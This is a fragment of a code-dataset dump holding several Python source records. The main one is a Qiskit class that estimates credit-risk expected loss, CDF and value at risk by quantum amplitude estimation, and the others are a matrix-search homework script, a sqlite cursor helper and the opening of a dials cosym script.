],\n)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":667,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"51693115","text":"import warnings\n\nfrom qiskit import QuantumRegister, QuantumCircuit, ClassicalRegister, Aer, execute\n\nfrom qiskit.circuit.library import IntegerComparator\n\ntry:\n from aqua.components.uncertainty_models import GaussianConditionalIndependenceModel as GCI\n from aqua.components.uncertainty_problems import UnivariatePiecewiseLinearObjective as PwlObjective\n from aqua.components.uncertainty_problems import MultivariateProblem\n from aqua.circuits import WeightedSumOperator\n from aqua.algorithms import IterativeAmplitudeEstimation\n from aqua.utils.circuit_factory import CircuitFactory\nexcept ModuleNotFoundError:\n warnings.warn(\"WARNING: Local Aqua 0.8.0 persistence package not found, using qiskit latest version.\")\n from qiskit.aqua.components.uncertainty_models import GaussianConditionalIndependenceModel as GCI\n from qiskit.aqua.components.uncertainty_problems import UnivariatePiecewiseLinearObjective as PwlObjective\n from qiskit.aqua.components.uncertainty_problems import MultivariateProblem\n from qiskit.aqua.circuits import WeightedSumOperator\n from qiskit.aqua.algorithms import IterativeAmplitudeEstimation\n from qiskit.aqua.utils.circuit_factory import CircuitFactory\n \ndef warn(*args, **kwargs):\n pass\nwarnings.warn = warn\n\nfrom qiskit import IBMQ, assemble, transpile, execute\nfrom qiskit.providers.jobstatus import JOB_FINAL_STATES\nfrom qiskit.providers.ibmq.job import IBMQJobFailureError\nfrom qiskit.providers.ibmq import least_busy\nfrom qiskit.aqua.algorithms import AmplitudeEstimation\nfrom qiskit.aqua.algorithms import MaximumLikelihoodAmplitudeEstimation\nfrom qiskit.circuit.library import LinearAmplitudeFunction\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nimport pickle\nimport time\nfrom datetime import datetime\nimport glob\nimport os\n\nclass Comparator(CircuitFactory):\n\n def __init__(self, num_state_qubits, value, geq=True, i_state=None, i_target=None):\n\n super().__init__(num_state_qubits + 1)\n self._comparator_circuit = IntegerComparator(value=value,\n num_state_qubits=num_state_qubits,\n geq=geq)\n\n self.i_state = None\n if i_state is not None:\n self.i_state = i_state\n else:\n self.i_state = range(num_state_qubits)\n\n self.i_target = None\n if i_target is not None:\n self.i_target = i_target\n else:\n self.i_target = num_state_qubits\n\n @property\n def num_state_qubits(self):\n \"\"\" returns num state qubits \"\"\"\n return self._comparator_circuit._num_state_qubits\n\n @property\n def value(self):\n \"\"\" returns value \"\"\"\n return self._comparator_circuit._value\n\n def required_ancillas(self):\n return self.num_state_qubits - 1\n\n def required_ancillas_controlled(self):\n return self.num_state_qubits - 1\n\n\n def _get_twos_complement(self):\n \"\"\"Returns the 2's complement of value as array\n\n Returns:\n list: two's complement\n \"\"\"\n\n twos_complement = pow(2, self.num_state_qubits) - int(np.ceil(self.value))\n twos_complement = '{0:b}'.format(twos_complement).rjust(self.num_state_qubits, '0')\n twos_complement = \\\n [1 if twos_complement[i] == '1' else 0 for i in reversed(range(len(twos_complement)))]\n return twos_complement\n\n def build(self, qc, q, q_ancillas=None, params=None):\n instr = self._comparator_circuit.to_instruction()\n qr = [q[i] for i in self.i_state] + [q[self.i_target]]\n if q_ancillas:\n # pylint:disable=unnecessary-comprehension\n qr += [qi for qi in q_ancillas[:self.required_ancillas()]]\n qc.append(instr, qr)\n\nIMPLEMENTED_ALGORITHMS = ['iqae','ae','mlae']\n \nclass CreditRiskAnalysis:\n def __init__(self,p_zeros,rhos,lgd,savefig=False,backend=None,shots=1024,n_z=2,z_max=2,alpha=0.05,epsilon=0.01, num_ml_queries = 5 ,ae_algorithm = 'iqae', num_eval_qubits=5):\n \n if backend is None:\n backend = Aer.get_backend('qasm_simulator')\n \n self.backend_name = backend.name()\n self.backend = backend\n self.sim = ('simulator' in self.backend_name)\n self.statevector = ('statevector' in self.backend_name)\n \n if ae_algorithm.lower() not in IMPLEMENTED_ALGORITHMS:\n raise ValueError(\"CreditRiskAnalysis class needs an AE Algorithm between the following: \"+ str(IMPLEMENTED_ALGORITHMS))\n \n self.ae_algorithm = ae_algorithm.lower()\n \n self.savefig = savefig\n \n \n self.K = len(p_zeros)\n \n if any([self.K != len(l) for l in [p_zeros,rhos,lgd]]):\n raise ValueError(\"Incorrect number of assets. Check that p_zeros, rhos and lgd have all the same length.\")\n \n self.p_zeros = p_zeros\n self.rhos = rhos\n self.lgd = lgd\n self.z_values = np.linspace(-z_max, z_max, 2**n_z)\n self.n_z = n_z\n self.z_max = z_max\n self.alpha = alpha\n \n if (alpha <= 0 or alpha > 1):\n raise ValueError(\"Incorrect alpha value: \"+float(alpha)+\". Must be between 0 and 1.\")\n \n self.epsilon = epsilon\n if (epsilon <= 0 or epsilon > 0.5):\n raise ValueError(\"Incorrect epsilon value: \"+float(epsilon)+\". Must be between 0 and 0.5.\")\n \n self.shots = shots\n self.num_eval_qubits = num_eval_qubits\n self.num_ml_queries = num_ml_queries\n self.job = None\n self.qc = None\n \n # set plot style to seaborn\n plt.style.use(\"seaborn\")\n \n def is_sim(self):\n return self.sim\n \n def draw_qc(self,filename=None):\n if not filename:\n self.qc.draw(output='mpl')\n plt.show()\n else:\n self.qc.draw(output='mpl',filename=filename)\n \n def save_job(self):\n if hasattr(self,'qae_result'):\n self.job.qae_result = self.qae_result\n backend_name = self.job.result().backend_name\n date = datetime.today().strftime(\"%m-%d-%Y_%H.%M\")\n pickle.dump( result, open(\"ibmq_results/\"+date+\"_\"+'job'+\"_\"+backend_name+\".p\", \"wb\" ) )\n \n def load_job(self,name):\n self.job = pickle.load( open(\"ibmq_results/\"+name, \"rb\") )\n \n def load_last_job(self):\n list_of_files = glob.glob('ibmq_results/*.p')\n latest_file = max(list_of_files, key=os.path.getctime)\n self.load_job(latest_file)\n \n def execute_ibmq(self):\n job = execute(self.qc,backend=self.backend,shots=self.shots)\n start_time = time.time()\n job_status = job.status()\n print('Executing QC in backend '+self.backend_name+'...')\n while job_status not in JOB_FINAL_STATES:\n print('\\r'+' '*60+'\\r', end='')\n print(f'Status @ {time.time()-start_time:0.0f} s: {job_status.name},'\n f' est. queue position: {job.queue_position()}', end=\"\")\n time.sleep(1)\n job_status = job.status()\n try:\n print('')\n job.result()\n print('Done!')\n except IBMQJobFailureError:\n print('Error: ' + job.error_message())\n return job\n \n def build_U(self):\n # construct circuit factory for uncertainty model (Gaussian Conditional Independence model)\n self.u = GCI(self.n_z, self.z_max, self.p_zeros, self.rhos)\n # determine the number of qubits required to represent the uncertainty model\n self.num_qubits = self.u.num_target_qubits\n\n # initialize quantum register and circuit\n q = QuantumRegister(self.num_qubits, name='q')\n self.qc = QuantumCircuit(q)\n\n # construct circuit\n self.u.build(self.qc, q)\n \n def run_U(self):\n if not hasattr(self,'u'):\n self.build_U()\n self.qc.measure_all()\n if self.is_sim():\n self.job = execute(self.qc,backend=self.backend,shots=self.shots)\n else:\n self.job = self.execute_ibmq()\n \n def compute_U(self):\n self.run_U()\n self.p_z = np.zeros(2**self.n_z)\n self.p_default = np.zeros(self.K)\n values = []\n probabilities = []\n K = self.K\n \n for b,a in self.job.result().get_counts().items():\n prob = a/self.shots\n # extract value of Z and corresponding probability \n i_normal = int(b[-self.n_z:], 2) # los n_z ultimos bits son el resultado de la normal, que se castean en base 2\n self.p_z[i_normal] += prob # a dicho valor de la normal le corresponde añadir cierta probabilidad\n # determine overall default probability for k \n loss = 0\n for k in range(self.K):\n if b[K - k - 1] == '1': # si el asset correspondiente tiene pérdida en dicho posible resultado (b)\n self.p_default[k] += prob # se aumenta en su probabilidad de pérdida\n loss += self.lgd[k] # y se suma dicha pérdida potencial\n values += [loss]\n probabilities += [prob] \n \n self.values = np.array(values)\n self.probabilities = np.array(probabilities)\n \n self.expected_loss = np.dot(self.values, self.probabilities) # es un producto escalar como es de esperar\n\n self.losses = range(0,sum(self.lgd)+1)\n pdf = np.zeros(len(self.losses))\n for i, v in enumerate(self.losses):\n pdf[i] += sum(self.probabilities[self.values == v]) # funcion de distribución de probabilidad\n self.pdf = pdf\n self.cdf = np.cumsum(self.pdf)\n \n i_var = np.argmax(self.cdf >= 1-self.alpha) # calculando el indice que da el VaR\n self.exact_var = self.losses[i_var] # el VaR\n self.exact_cvar = np.dot(self.pdf[(i_var+1):], self.losses[(i_var+1):])/sum(self.pdf[(i_var+1):]) # CVaR\n self.i_var = i_var\n\n return self.num_qubits, self.losses, self.expected_loss, self.exact_var, self.exact_cvar, self.pdf, self.p_z, self.p_default\n\n\n def print_U(self):\n if not hasattr(self,\"i_var\"):\n self.compute_U()\n \n print('------------ RESULTS OF U IN \\\"'+self.backend_name+'\\\" ------------')\n print('Expected Loss E[L]: %.8f' % self.expected_loss)\n print('Value at Risk VaR[L]: %.8f' % self.exact_var)\n print('P[L <= VaR[L]]: %.8f' % self.cdf[self.i_var])\n \n \n def graph_U(self):\n self.print_U()\n \n # plot loss PDF, expected loss, var, and cvar\n plt.bar(self.losses, self.pdf)\n plt.axvline(self.expected_loss, color='green', linestyle='--', label='E[L]')\n plt.axvline(self.exact_var, color='orange', linestyle='--', label='VaR(L)')\n plt.legend(fontsize=15)\n plt.xlabel('Loss L ($)', size=15)\n plt.ylabel('probability (%)', size=15)\n plt.title('Loss Distribution ('+self.backend_name+')', size=20)\n plt.xticks(size=15)\n plt.yticks(size=15)\n \n if self.savefig:\n date = datetime.today().strftime(\"%m-%d-%Y_%H.%M\")\n plt.savefig(f\"img/{date}_U_main.png\")\n plt.show()\n \n\n # plot results for Z\n plt.plot(self.z_values, self.p_z, 'o-', linewidth=3, markersize=8)\n plt.grid()\n plt.xlabel('Z value', size=15)\n plt.ylabel('probability (%)', size=15)\n plt.title('Z Distribution ('+self.backend_name+')', size=20)\n plt.xticks(size=15)\n plt.yticks(size=15)\n \n if self.savefig:\n date = datetime.today().strftime(\"%m-%d-%Y_%H.%M\")\n plt.savefig(f\"img/{date}_U_Z.png\")\n plt.show()\n\n # plot results for default probabilities\n w = 0.4\n plt.bar(range(self.K), self.p_default, align=\"edge\", width=w)\n plt.bar(range(self.K), self.p_zeros, align=\"edge\", width=-w)\n plt.xlabel('Asset', size=15)\n plt.ylabel('probability (%)', size=15)\n plt.title('Individual Default Probabilities ('+self.backend_name+')', size=20)\n plt.xticks(range(self.K), size=15)\n plt.yticks(size=15)\n plt.grid()\n plt.legend([\"Simulated Probabilities\",r\"Initial Probabilities ($p_0$)\"])\n \n if self.savefig:\n date = datetime.today().strftime(\"%m-%d-%Y_%H.%M\")\n plt.savefig(f\"img/{date}_U_probs.png\")\n plt.show()\n \n def graph_main(self,e=False,var=False):\n # plot loss PDF, expected loss, var, and cvar\n plt.bar(self.losses, self.pdf)\n plt.axvline(self.expected_loss, color='green', linestyle='--', label='E[L]')\n \n var_line = '-' if var and (self.var == self.exact_var) else '--'\n \n plt.axvline(self.exact_var, color='orange', linestyle=var_line, label='VaR(L)')\n \n if e:\n plt.axvline(self.estimated_expected_loss, color='lime', linestyle='--', label='Est. E[L]')\n if var:\n est_var_line = (0, (10, 10)) if (self.var == self.exact_var) else '--'\n plt.axvline(self.var, color='red', linestyle=est_var_line, label='Est. VaR(L)')\n plt.legend(fontsize=15)\n plt.xlabel('Loss L ($)', size=15)\n plt.ylabel('probability (%)', size=15)\n plt.title('Loss Distribution ('+self.backend_name+')', size=20)\n plt.xticks(size=15)\n plt.yticks(size=15)\n \n if self.savefig:\n date = datetime.today().strftime(\"%m-%d-%Y_%H.%M\")\n plt.savefig(f\"img/{date}_main.png\")\n plt.show()\n \n def build_E(self):\n # determine number of qubits required to represent total loss\n self.n_s = WeightedSumOperator.get_required_sum_qubits(self.lgd)\n\n # create circuit factory (add Z qubits with weight/loss 0)\n self.agg = WeightedSumOperator(self.n_z + self.K, [0]*self.n_z + self.lgd) # se añaden los qubits que se utilizaban para Z\n \n breakpoints = [0]\n slopes = [1]\n offsets = [0]\n f_min = 0\n f_max = sum(self.lgd)\n c_approx = 0.25\n\n objective = PwlObjective(\n self.agg.num_sum_qubits, # n de qubits necesarios\n 0, # minimo valor que se introduce en la funcion\n 2**self.agg.num_sum_qubits-1, # max value that can be reached by the qubit register (will not always be reached)\n breakpoints, # puntos de cambio\n slopes, # pendientes de cada segmento lineal (e.d, a en ax + b)\n offsets, # desviación de cada segmento (e.d, b en ax + b)\n f_min, # minimo valor de la funcion\n f_max, # maximo valor de la funcion\n c_approx # un factor de aproximacion, que da lugar a \"comprimir\" los segmentos con rotaciones pi/4\n )\n\n if not hasattr(self,'u'):\n self.compute_U()\n # define overall multivariate problem\n self.multivariate = MultivariateProblem(self.u, self.agg, objective) # Esto es A en el paper: U, S y \"C\" (aún no)\n\n self.num_qubits = self.multivariate.num_target_qubits\n self.num_ancillas = self.multivariate.required_ancillas()\n\n q = QuantumRegister(self.num_qubits, name='q')\n q_a = QuantumRegister(self.num_ancillas, name='q_a')\n \n q_c = ClassicalRegister(self.num_qubits, name='c')\n self.qc = QuantumCircuit(q, q_a, q_c)\n self.q_c = q_c\n self.q = q\n \n self.multivariate.build(self.qc, q, q_a)\n \n def run_E(self):\n if not hasattr(self, 'multivariate'):\n self.build_E()\n\n self.qc.measure(self.q,self.q_c)\n if not self.is_sim():\n self.job = self.execute_ibmq()\n self.save_job()\n else:\n self.job = execute(self.qc,backend=self.backend,shots=self.shots)\n \n def print_E(self):\n self.run_E()\n self.value = 0\n \n for b, a in self.job.result().get_counts().items():\n b = b[-self.multivariate.num_target_qubits:]\n am = np.round(np.real(a/self.shots), decimals=4)\n if np.abs(am) > 1e-6 and b[0] == '1':\n self.value += am**2\n\n print('\\n------------ RESULTS OF E IN \\\"'+self.backend_name+'\\\" ------------')\n if hasattr(self, 'expected_loss'):\n print('Reference Expected Loss: %.4f' % self.expected_loss) \n else:\n print('(Call \\'print_U\\' for reference expected loss)')\n print('Reference Operator Value: %.4f' % self.value)\n print('Mapped Operator value: %.4f' % self.multivariate.value_to_estimation(self.value))\n\n def print_qae_E(self):\n if not hasattr(self, 'multivariate'):\n self.build_E()\n\n # construct amplitude estimation\n if not self.is_sim():\n print('Executing' + self.ae_algorithm + 'for E in backend ' + self.backend_name + '...')\n \n if self.ae_algorithm == 'iqae':\n self.ae = IterativeAmplitudeEstimation(epsilon=self.epsilon, alpha=self.alpha, a_factory=self.multivariate)\n elif self.ae_algorithm == 'mlae':\n self.ae = MaximumLikelihoodAmplitudeEstimation(self.num_ml_queries,a_factory=self.multivariate,objective_qubits=[self.u.num_target_qubits])\n else:\n self.ae = AmplitudeEstimation(self.num_eval_qubits, self.multivariate)\n \n self.qae_result = self.ae.run(quantum_instance=self.backend, shots=self.shots)\n \n self.estimated_expected_loss = self.qae_result['estimation']\n \n # print results\n self.conf_int = np.array(self.qae_result['confidence_interval'])\n print('\\n----- RESULTS OF ' + self.ae_algorithm.upper() + ' FOR E IN \\\"'+self.backend_name+'\\\" -----')\n if hasattr(self,'expected_loss'):\n print('Reference value: \\t\\t%.8f' % self.expected_loss)\n else:\n print('(Call \\'print_U\\' for reference expected loss)')\n print('Estimated value:\\t\\t%.8f' % self.estimated_expected_loss)\n print('Confidence interval: \\t\\t[%.8f, %.8f]' % tuple(self.conf_int))\n\n return self.expected_loss, self.qae_result['estimation'], self.ae.q_factory.get_num_qubits()\n \n def graph_E(self):\n self.print_qae_E()\n\n a = self.qae_result['confidence_interval'][0]\n b = self.qae_result['confidence_interval'][1]\n x_min = min(a,self.expected_loss)*0.9\n x_max = max(b,self.expected_loss)*1.1\n \n # plot estimated values for expected loss (after re-scaling and reversing the c_approx-transformation)\n qae_loss = self.qae_result['estimation']\n plt.bar(qae_loss, 1-self.alpha, width=b-a,color=\"lightsteelblue\")\n plt.bar(qae_loss, 1-self.alpha, width=0.1*(b-a))\n if hasattr(self,'expected_loss'):\n plt.axvline(self.expected_loss, color='red', linestyle='--', linewidth=2)\n plt.xticks(np.round(np.linspace(x_min,x_max,8)*1000)/1000,size=15)\n plt.yticks([0, 0.25, 0.5, 0.75, 1], size=15)\n plt.title('Expected Loss ('+self.backend_name+')', size=15)\n plt.ylabel('Probability', size=15)\n plt.ylim((0,1))\n plt.grid()\n plt.legend([\"Exact Result\", \"Confidence Interval\", \"Estimated Result\"])\n \n if self.savefig:\n date = datetime.today().strftime(\"%m-%d-%Y_%H.%M\")\n plt.savefig(f\"img/{date}_E.png\")\n plt.show()\n \n self.graph_main(e=True)\n \n \n # define value x to evaluate the CDF(x)\n def get_cdf_operator_factory(self,x_eval):\n if not hasattr(self, 'agg'):\n self.build_E()\n # comparator as objective\n # cdf_objective = Comparator(agg.num_sum_qubits, x_eval+1, geq=False) # Con Comparator creamos C\n cdf_objective = Comparator(self.agg.num_sum_qubits, x_eval+1, geq=False) # Con Comparator creamos C\n\n # define overall uncertainty problem\n multivariate_cdf = MultivariateProblem(self.u, self.agg, cdf_objective) # A: U, S y C\n\n return multivariate_cdf\n \n def build_cdf(self,x_eval):\n # get operator\n multivariate_cdf = self.get_cdf_operator_factory(x_eval) # crea A\n\n # get required number of qubits\n self.num_qubits = multivariate_cdf.num_target_qubits\n self.num_ancillas = multivariate_cdf.required_ancillas()\n\n # construct circuit\n q = QuantumRegister(self.num_qubits, name='q')\n q_a = QuantumRegister(self.num_ancillas, name='q_a')\n q_c = ClassicalRegister(self.num_qubits, name='c')\n self.qc = QuantumCircuit(q, q_a, q_c)\n self.q_c = q_c\n self.q = q\n \n multivariate_cdf.build(self.qc, q, q_a)\n self.multivariate_cdf = multivariate_cdf\n \n def run_qae_cdf(self, x_eval):\n self.build_cdf(x_eval)\n if not self.is_sim():\n print('Executing '+ self.ae_algorithm + ' for CDF('+str(x_eval)+') in backend ' + self.backend_name + '...')\n \n if self.ae_algorithm == 'iqae':\n self.ae_cdf = IterativeAmplitudeEstimation(epsilon=self.epsilon, alpha=self.alpha, a_factory=self.multivariate_cdf)\n elif self.ae_algorithm == 'mlae':\n self.ae_cdf = MaximumLikelihoodAmplitudeEstimation(self.num_ml_queries,a_factory=self.multivariate_cdf,objective_qubits=[self.u.num_target_qubits])\n else:\n self.ae_cdf = AmplitudeEstimation(self.num_eval_qubits, self.multivariate_cdf)\n \n self.qae_result = self.ae_cdf.run(quantum_instance=self.backend, shots=self.shots)\n \n return self.qae_result\n \n def get_qae_E_k_size(self,k):\n ae = self.ae\n qc = ae.construct_circuit(k)\n asm_qc = transpile(qc,basis_gates=['u1','u2','u3','cx','id'])\n ret = {}\n ret['n_qubits'] = asm_qc.num_qubits\n ret['depth'] = asm_qc.depth()\n ret['size'] = asm_qc.size()\n return ret\n\n def get_qae_cdf_k_size(self,k):\n ae = self.ae_cdf\n qc = ae.construct_circuit(k)\n asm_qc = transpile(qc,basis_gates=['u1','u2','u3','cx','id'])\n ret = {}\n ret['n_qubits'] = asm_qc.num_qubits\n ret['depth'] = asm_qc.depth()\n ret['size'] = asm_qc.size()\n return ret\n \n def get_qae_size(self):\n k = self.qae_result[\"powers\"][-1]\n if hasattr(self,\"ae_cdf\"):\n return self.get_qae_cdf_k_size(k)\n else:\n return self.get_qae_E_k_size(k)\n \n def graph_qae_cdf(self,x_eval):\n self.run_qae_cdf(x_eval)\n # print results\n print('\\n----- RESULTS OF ' + self.ae_algorithm.upper() + ' FOR CDF IN \\\"'+self.backend_name+'\\\" -----')\n if hasattr(self,'cdf'):\n print('Reference CDF(%s)' % x_eval + ' = %.8f' % self.cdf[x_eval])\n else:\n print('(Call \\'print_U\\' for exact cdf)')\n print('Estimated value:\\t%.8f' % self.qae_result['estimation'])\n print('Probability: \\t%.4f' % (1-self.alpha))\n\n # plot estimated values for \"a\"\n plt.bar(self.qae_result['estimation'], 1-self.alpha, width=0.05)\n if hasattr(self,'cdf'):\n plt.axvline(self.cdf[x_eval], color='red', linestyle='--', linewidth=2)\n plt.xticks([0, 0.25, 0.5, 0.75, 1],size=15)\n plt.yticks([0, 0.25, 0.5, 0.75, 1], size=15)\n plt.title(('CDF(%s)' % x_eval)+' ('+self.backend_name+')', size=15)\n plt.ylabel('Probability', size=15)\n plt.ylim((0,1))\n plt.grid()\n if self.savefig:\n date = datetime.today().strftime(\"%m-%d-%Y_%H.%M\")\n plt.savefig(f\"img/{date}_cdf_qae.png\")\n plt.show()\n \n def ks_test(self, qae_cdf):\n self.delta = np.max(np.absolute(np.array(self.cdf) - np.array(qae_cdf)))\n n = len(self.cdf)\n \n # p_value is obtained by inverting the C(alpha) formula for n=m\n # https://en.wikipedia.org/wiki/Kolmogorov%E2%80%93Smirnov_test#Two-sample_Kolmogorov%E2%80%93Smirnov_test\n self.p_value = np.e**(-n*self.delta**2)\n \n print(f'--- CDF Kolmogorov-Smirnov test using {self.ae_algorithm} ----')\n print('Delta value: %.5f' % self.delta)\n print('P-value (alpha = %.4f): %.5f' % (self.alpha,self.p_value))\n \n def graph_cdf(self):\n results = [ self.run_qae_cdf(x) for x in range(0,sum(self.lgd)+1) ]\n \n print(f'--- CDF Original values using {self.ae_algorithm} in {self.backend}')\n for x,y in enumerate([(r['estimation'],r['confidence_interval']) for r in results]):\n print(f\"\\t CDF({x}) = {y[0]}, CI: {y[1]}\")\n \n qae_cdf = np.maximum.accumulate([ r['estimation'] for r in results])\n conf_int_low = np.maximum.accumulate([ r['confidence_interval'][0] for r in results])\n conf_int_high = np.maximum.accumulate([ r['confidence_interval'][1] for r in results])\n \n qae_cdf[-1], conf_int_low[-1], conf_int_high[-1] = 1, 1, 1\n \n self.ks_test(qae_cdf)\n \n x = range(0,sum(self.lgd)+1)\n max_x = x[-1]\n plt.fill_between(x, conf_int_high, conf_int_low, color='lightsteelblue')\n plt.plot(x,qae_cdf,'o-',markersize=4,linewidth=0.5)\n plt.plot(x,self.cdf,'--',color='orange')\n plt.axhline(1-self.alpha, color='red', linestyle='--',linewidth=2)\n \n min_y = min(conf_int_low[0],self.cdf[0]) * 0.90\n \n plt.ylabel('Probability', size=15)\n plt.ylim((min_y,1.05))\n plt.xlabel('Loss ($)', size=15)\n\n plt.annotate('Delta value: %.5f' % self.delta, xy=(0, 0), xycoords='axes fraction',\n xytext=(3, 20), textcoords='offset pixels',size=13)\n plt.annotate('P-value (alpha = %d%%): %.5f' % (self.alpha*100,self.p_value),xy=(0, 0),\n xycoords='axes fraction',\n xytext=(3, 5), textcoords='offset pixels',size=13) \n \n plt.title(f'CDF using {self.ae_algorithm}', size=15)\n plt.legend(['Estimated CDF','Exact CDF',f'Alpha level ({(1-self.alpha)*100}%)','Confidence Interval'])\n \n if self.savefig:\n date = datetime.today().strftime(\"%m-%d-%Y_%H.%M\")\n plt.savefig(f\"img/{date}_cdf.png\")\n plt.show()\n \n def run_ae_for_cdf(self,x_eval):\n\n # run amplitude estimation\n multivariate_var = self.get_cdf_operator_factory(x_eval)\n if not self.is_sim():\n print('Executing '+ self.ae_algorithm + ' for CDF('+str(x_eval)+') in backend ' + self.backend_name + '...')\n \n if self.ae_algorithm == 'iqae':\n self.ae_var = IterativeAmplitudeEstimation(epsilon=self.epsilon, alpha=self.alpha, a_factory=multivariate_var)\n elif self.ae_algorithm == 'mlae':\n self.ae_var = MaximumLikelihoodAmplitudeEstimation(self.num_ml_queries,a_factory=multivariate_var)\n else:\n self.ae_var = AmplitudeEstimation(self.num_eval_qubits,a_factory = multivariate_var)\n \n result_var = self.ae_var.run(self.backend)\n self.qae_result = result_var\n\n return result_var['estimation']\n \n def bisection_search(self,objective, target_value, low_level, high_level, low_value=None, high_value=None, verbose=True):\n \"\"\"\n Determines the smallest level such that the objective value is still larger than the target\n :param objective: objective function\n :param target: target value\n :param low_level: lowest level to be considered\n :param high_level: highest level to be considered\n :param low_value: value of lowest level (will be evaluated if set to None)\n :param high_value: value of highest level (will be evaluated if set to None)\n :return: dictionary with level, value, num_eval\n \"\"\"\n\n # check whether low and high values are given and evaluated them otherwise\n if verbose:\n print('\\n--------------------------------------------------------------------')\n print('start bisection search for target value %.3f' % target_value)\n print('--------------------------------------------------------------------')\n num_eval = 0\n if low_value is None:\n low_value = objective(low_level)\n num_eval += 1\n if high_value is None:\n high_value = objective(high_level)\n num_eval += 1 \n\n levels = []\n values = []\n \n # check if low_value already satisfies the condition\n if low_value > target_value:\n return {'level': low_level, 'value': low_value, 'num_eval': num_eval, 'comment': 'returned low value'}\n elif low_value == target_value:\n return {'level': low_level, 'value': low_value, 'num_eval': num_eval, 'comment': 'success'}\n\n # check if high_value is above target\n if high_value < target_value:\n return {'level': high_level, 'value': high_value, 'num_eval': num_eval, 'comment': 'returned low value'}\n elif high_value == target_value:\n return {'level': high_level, 'value': high_value, 'num_eval': num_eval, 'comment': 'success'}\n\n # perform bisection search until\n if verbose:\n print('low_level low_value level value high_level high_value')\n print('--------------------------------------------------------------------')\n while high_level - low_level > 1:\n\n level = int(np.round((high_level + low_level) / 2.0))\n num_eval += 1\n value = objective(level)\n\n values.append(value)\n levels.append(level)\n \n if verbose:\n print('%2d %.3f %2d %.3f %2d %.3f' \\\n % (low_level, low_value, level, value, high_level, high_value))\n\n if value >= target_value:\n high_level = level\n high_value = value\n else:\n low_level = level\n low_value = value\n\n # return high value after bisection search\n if verbose:\n print('--------------------------------------------------------------------')\n print('finished bisection search')\n print('--------------------------------------------------------------------')\n return {'level': high_level, 'value': high_value, 'num_eval': num_eval, 'comment': 'success'}, values, levels\n\n def run_var(self, verbose=True):\n if not hasattr(self,\"losses\"):\n self.compute_U()\n objective = lambda x: self.run_ae_for_cdf(x)\n bisection_result,self.var_values,self.var_levels = self.bisection_search(objective, 1-self.alpha, min(self.losses)-1, max(self.losses), low_value=0, high_value=1,verbose=verbose)\n self.var = bisection_result['level']\n self.var_prob = bisection_result['value']\n \n def print_var(self,verbose=True):\n if not hasattr(self,\"var\"):\n self.run_var(verbose=verbose)\n \n print('\\n----- RESULTS OF ' + self.ae_algorithm.upper() + ' FOR VaR IN \\\"'+self.backend_name+'\\\" -----')\n print('Estimated Value at Risk: %2d' % self.var)\n print('Reference Value at Risk: %2d' % self.exact_var)\n print('Estimated Probability: %.8f' % self.var_prob)\n print('Reference Probability: %.8f' % self.cdf[self.i_var])\n \n def graph_var(self, verbose=True):\n if not hasattr(self,\"var\"):\n self.run_var(verbose=verbose)\n plt.plot(self.var_levels,self.var_values,'o-',linewidth=3,markersize=3)\n plt.axhline(1-self.alpha,color='red',linestyle='--', linewidth=2)\n plt.plot(self.exact_var,self.cdf[self.i_var],'^',markersize=9)\n plt.plot(self.var,self.var_prob,'v',markersize = 9)\n \n i = 0\n for x,y in zip(self.var_levels,self.var_values):\n i += 1\n plt.text(x+0.05,y+0.001,f\"{i}\",fontsize=\"large\")\n \n plt.title('VaR Bisection Search ('+self.backend_name+')', size=15)\n plt.ylabel('Probability', size=15)\n plt.legend([\"Bisection search progress\",f\"Confidence value ({(1-self.alpha)*100}%)\",\"Exact VaR\", \"Estimated VaR\"])\n \n if self.savefig:\n date = datetime.today().strftime(\"%m-%d-%Y_%H.%M\")\n plt.savefig(f\"{date}_VaR.png\")\n plt.show()\n \n self.graph_main(e=hasattr(self,\"estimated_expected_loss\"),var=True)\n \n def run_all(self):\n self.graph_U()\n self.graph_E()\n self.graph_cdf()\n self.print_var()\n self.graph_var()\n\n","sub_path":"CreditRiskAnalysis.py","file_name":"CreditRiskAnalysis.py","file_ext":"py","file_size_in_byte":32882,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"329340012","text":"#Дана матриця цілих чисел. Вводиться число. З'ясувати, які рядки і стовпці матриці містять дане число.\nfrom random import random\nN = 10\nM = 15\nmatrix = []\nfor i in range(N):\n row = []\n for j in range(M):\n row.append(int(random()*40)+10)\n matrix.append(row)\n\nfor row in matrix:\n print(row)\n##\nitem = int(input(\"Number range(10,50): \"))\n\nprint(\"Rows (index):\", end=\" \")\nfor i in range(N):\n if item in matrix[i]:\n print(i, end=\" \")\nprint()\n\nprint(\"Columns (index):\", end=\" \")\nfor j in range(M):\n for i in range(N):\n if matrix[i][j] == item:\n print(j, end=\" \")\n break\nprint()\n\n","sub_path":"hw05/ibei/5.7.py","file_name":"5.7.py","file_ext":"py","file_size_in_byte":716,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"351467592","text":"##encoding=UTF8\n\ndef iterC(cursor, arraysize = 1000):\n \"An iterator that uses fetchmany to keep memory usage lower\"\n while True:\n results = cursor.fetchmany(arraysize)\n if not results:\n break\n for result in results:\n yield result\n \ndef prt_all(cursor):\n \"\"\"equivalent to:\n for row in c.fetchall():\n print(row)\n \"\"\"\n counter = 0\n for row in iterC(cursor):\n print(row)\n counter += 1\n print(\"Found %s records\" % counter)","sub_path":"angora/SQLITE/wrapper.py","file_name":"wrapper.py","file_ext":"py","file_size_in_byte":516,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"488680093","text":"from __future__ import absolute_import, division, print_function\n# LIBTBX_PRE_DISPATCHER_INCLUDE_SH export BOOST_ADAPTBX_FPE_DEFAULT=1\n\nimport logging\nlogger = logging.getLogger('dials.command_line.cosym')\n\nimport copy\nimport iotbx.phil\nfrom cctbx import crystal, miller\nfrom cctbx import sgtbx\nfrom dxtbx.serialize import dump\nfrom dials.array_family import flex\nfrom dials.util.options import flatten_experiments, flatten_reflections\nfrom dials.util.multi_dataset_handling import assign_unique_identifiers,\\\n parse_multiple_datasets, select_datasets_on_ids\nfrom dials.algorithms.symmetry.cosym import analyse_datasets\n\n\nphil_scope = iotbx.phil.parse('''\\\nspace_group = None\n .type = space_group\n\npartiality_threshold = 0.99\n .type = float\n .help = \"Use reflections with a partiality above the threshold.\"\n\nunit_cell_clustering {\n threshold = 5000\n .type = float(value_min=0)\n .help = 'Threshold value for 